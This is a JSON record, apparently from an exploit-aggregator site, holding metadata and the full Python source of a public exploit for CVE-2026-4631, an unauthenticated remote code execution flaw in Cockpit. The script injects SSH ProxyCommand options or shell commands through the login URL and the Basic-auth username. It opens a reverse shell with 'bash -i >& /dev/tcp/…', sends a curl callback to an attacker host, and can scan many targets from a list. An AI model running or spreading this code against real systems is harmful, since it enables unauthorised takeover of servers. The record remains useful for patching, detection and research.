{"exploit":{"id":"EDB-52572","name":"Cockpit 359 - Remote Code Execution (RCE)","description":"Cockpit 359 - Remote Code Execution (RCE)","cves":["CVE-2026-4631"],"author":"Abdelazim Mohammed","published":"2026-05-21","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52572","path":"exploits/multiple/webapps/52572.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52572.py","vulnerabilities":[{"id":"CVE-2026-4631","state":"PUBLISHED","title":"Cockpit: cockpit: unauthenticated remote code execution due to ssh command-line argument injection","titleSource":"CVE Program","description":"Cockpit's remote login feature passes user-supplied hostnames and usernames from the web interface to the SSH client without validation or sanitization. An attacker with network access to the Cockpit web service can craft a single HTTP request to the login endpoint that injects malicious SSH options or shell commands, achieving code execution on the Cockpit host without valid credentials. The injection occurs during the authentication flow before any credential verification takes place, meaning no login is required to exploit the vulnerability.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-4631","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"redhat","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-4631"},"updatedAt":"2026-11-25T15:35:56.628Z","retrievedAt":"2026-11-25T16:15:50.331Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52572.png?v=2","url":"https://exploitbin.com/exploits/EDB-52572","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52572/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52572/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":" # Exploit Title: Cockpit 359 - RCE\n # Date: 18-04-2026\n # Exploit Author: @intx0x80\n # Vendor Homepage: https://cockpit-project.org/\n # Software Link: https://github.com/cockpit-project/cockpit\n # Version: 327-359\n # Tested on: Debain\n # CVE : CVE-2026-4631\n\nimport base64\nimport argparse\nimport requests\nimport urllib3\nimport urllib.parse\nimport sys\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\nRED    = \"\\033[91m\"\nGREEN  = \"\\033[92m\"\nYELLOW = \"\\033[93m\"\nCYAN   = \"\\033[96m\"\nBOLD   = \"\\033[1m\"\nRESET  = \"\\033[0m\"\n\ndef banner():\n    print(f\"\"\"{CYAN}{BOLD}\n╔══════════════════════════════════════════════════════════════╗\n║         CVE-2026-4631  -  Cockpit SSH Argument Injection     ║\n║         Unauthenticated Remote Code Execution                ║\n╚══════════════════════════════════════════════════════════════╝\n\n\n            @intx0x80\n\n\n{RESET}\"\"\")\n\ndef info(msg):  print(f\"{CYAN}[*]{RESET} {msg}\")\ndef ok(msg):    print(f\"{GREEN}[+]{RESET} {msg}\")\ndef warn(msg):  print(f\"{YELLOW}[!]{RESET} {msg}\")\ndef err(msg):   print(f\"{RED}[-]{RESET} {msg}\")\ndef die(msg):   err(msg); sys.exit(1)\n\ndef make_auth_header(username=\"invalid\", password=\"PWN\"):\n    creds = f\"{username}:{password}\"\n    encoded = base64.b64encode(creds.encode()).decode()\n    return f\"Basic {encoded}\"\n\ndef exploit_hostname(target, session, command):\n    print(f\"\\n{YELLOW}[*] Attack vector: Hostname ProxyCommand injection{RESET}\")\n    encoded_cmd = urllib.parse.quote(command, safe=\"\")\n    url = f\"{target}/cockpit+=-oProxyCommand={encoded_cmd}/login\"\n\n    print(f\"[*] Request: GET {url}\")\n\n    headers = {\n        \"Authorization\": make_auth_header(),\n        \"Referer\": f\"{target}/\",\n        \"Origin\": target,\n    }\n\n    try:\n        r = session.get(url, headers=headers, timeout=10)\n        print(f\"[*] Response: {r.status_code}\")\n\n        if r.status_code in (200, 401, 403, 500):\n            print(\"[+] Request delivered - SSH process spawned\")\n            print(\"[+] ProxyCommand executed (if OpenSSH < 9.6 on target)\")\n\n        snippet = r.text[:200].strip()\n        if snippet:\n            print(f\"[*] Body snippet: {snippet}\")\n\n    except requests.exceptions.ConnectionError:\n        print(\"[+] Connection reset - server may have crashed (command ran)\")\n    except Exception as e:\n        print(f\"[-] Error: {e}\")\n\ndef exploit_username(target, session, command, ssh_host=\"127.0.0.1\"):\n    print(f\"\\n{YELLOW}[*] Attack vector Username %%r token injection{RESET}\")\n    print(f\"[*] Command: {command}\")\n\n    payload_user = f\"x; {command}; #\"\n    print(f\"[*] Username payload: {payload_user}\")\n\n    headers = {\n        \"Authorization\": make_auth_header(username=payload_user, password=\"invalid\"),\n        \"Referer\": f\"{target}/\",\n        \"Origin\": target,\n    }\n\n    url = f\"{target}/cockpit+={ssh_host}/login\"\n\n    try:\n        r = session.get(url, headers=headers, timeout=10)\n        tm = r.elapsed.total_seconds()\n        # print(f\"[+] Time {tm}\")\n        # print(f\"[*] Response: {r.status_code}\")\n        if r.status_code in (200, 401, 403, 500):\n            print(\"[+] Request delivered\")\n        else:\n            print(f\"[-] Unexpected status code: {r.status_code}\")\n\n    except requests.exceptions.ConnectionError:\n        print(\"[+] Connection reset\")\n    except Exception as e:\n        print(f\"[-] Error: {e}\")\n\ndef detect_time_based(target, session, command, ssh_host=\"127.0.0.1\"):\n    print(f\"{GREEN}[+] Scanning target: {target}{RESET}\")\n    payload_user = f\"x; {command}; #\"\n\n    headers = {\n        \"Authorization\": make_auth_header(username=payload_user, password=\"invalid\"),\n        \"Referer\": f\"{target}/\",\n        \"Origin\": target,\n    }\n\n    url = f\"{target}/cockpit+={ssh_host}/login\"\n\n    try:\n        r = session.get(url, headers=headers, timeout=10)\n        tm = r.elapsed.total_seconds()\n\n        if tm >= 5:\n            print(f\"{GREEN}[+] Vulnerable (Time-based): {target} (Duration: {tm:.2f}s){RESET}\")\n        else:\n            print(f\"[-] Not Vulnerable (Time-based): {target} (Duration: {tm:.2f}s)\")\n\n        if r.status_code in (200, 401, 403, 500):\n            pass\n\n    except requests.exceptions.ConnectionError:\n        print(\"[+] Connection reset\")\n    except Exception as e:\n        print(f\"[-] Error: {e}\")\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"CVE-2026-4631\")\n    parser.add_argument(\"--target\", required=False, help=\"Cockpit URL e.g. http://127.0.0.1:9090\")\n    parser.add_argument(\"--vector\", choices=[\"hostname\", \"username\"], help=\"Injection vector\")\n    parser.add_argument(\"--cmd\", help=\"Command to execute\")\n    parser.add_argument(\"--callback\", help=\"OOB callback URL (hostname vector or DNS lookup)\")\n    parser.add_argument(\"--lhost\", help=\"Reverse shell listener IP\")\n    parser.add_argument(\"--lport\", type=int, default=4444, help=\"Reverse shell port (default 4444)\")\n    parser.add_argument(\"--ssh-host\", default=\"127.0.0.1\", help=\"SSH host for username vector\")\n    parser.add_argument(\"--file\", default=\"url.txt\", help=\"File containing URLs to scan\")\n\n    args = parser.parse_args()\n\n    if not args.target and not args.file:\n        die(\"[-] Error: Either --target or --file is required.\")\n\n    if not args.vector:\n        print(\"\\n[*] Detection complete. Use --vector to exploit.\")\n        return\n\n    session = requests.Session()\n    session.verify = False\n\n    if args.vector == \"hostname\":\n        if args.lhost:\n            cmd = f\"bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1\"\n        elif args.callback:\n            cmd = f\"curl `hostname`.{args.callback}\"\n        elif args.cmd:\n            cmd = args.cmd\n        else:\n            die(\"[-] Hostname vector needs --cmd, --callback, or --lhost\")\n\n        if args.target:\n            target = args.target.rstrip(\"/\")\n            exploit_hostname(target, session, cmd)\n        else:\n            die(\"[-] Hostname vector requires --target\")\n\n    elif args.vector == \"username\":\n        if args.target:\n            target = args.target.rstrip(\"/\")\n\n            if args.callback:\n                cmd = f\"curl {args.callback}\"\n                exploit_username(target, session, cmd, args.ssh_host)\n\n            elif args.cmd:\n                exploit_username(target, session, args.cmd, args.ssh_host)\n\n            elif args.lhost:\n                cmd = f\"bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1\"\n                exploit_username(target, session, cmd, args.ssh_host)\n\n            else:\n                print(\"[*] No command/callback provided. Running time-based detection...\")\n                detect_time_based(target, session, \"sleep 5\", args.ssh_host)\n\n        elif args.file:\n            try:\n                with open(args.file, \"r\") as f:\n                    urls = [line.strip() for line in f if line.strip()]\n            except FileNotFoundError:\n                die(f\"[-] File not found: {args.file}\")\n\n            if args.callback:\n                print(f\"{GREEN}[+] Scanning {len(urls)} targets with callback: {args.callback}{RESET}\")\n                for target in urls:\n                    linker = target.strip().split(\":\")[1].replace(\"//\", \"\") if \":\" in target else \"unknown\"\n                    cmd = f\"curl `hostname`.{linker}-{args.callback}\"\n                    exploit_username(target, session, cmd, args.ssh_host)\n\n            else:\n                print(f\"{YELLOW}[+] Scanning {len(urls)} targets for time-based vulnerability...{RESET}\")\n                for target in urls:\n                    detect_time_based(target, session, \"sleep 5\", args.ssh_host)\n\nif __name__ == \"__main__\":\n    banner()\n    main()","sha256":"741b56379a8d8ae4edf96b18751896ac666527096e89119589be5ad31ea988e4","bytes":7839,"fetchedAt":"2026-11-26T11:05:35.014Z","encoding":"utf-8 (display only; download retains original bytes)"}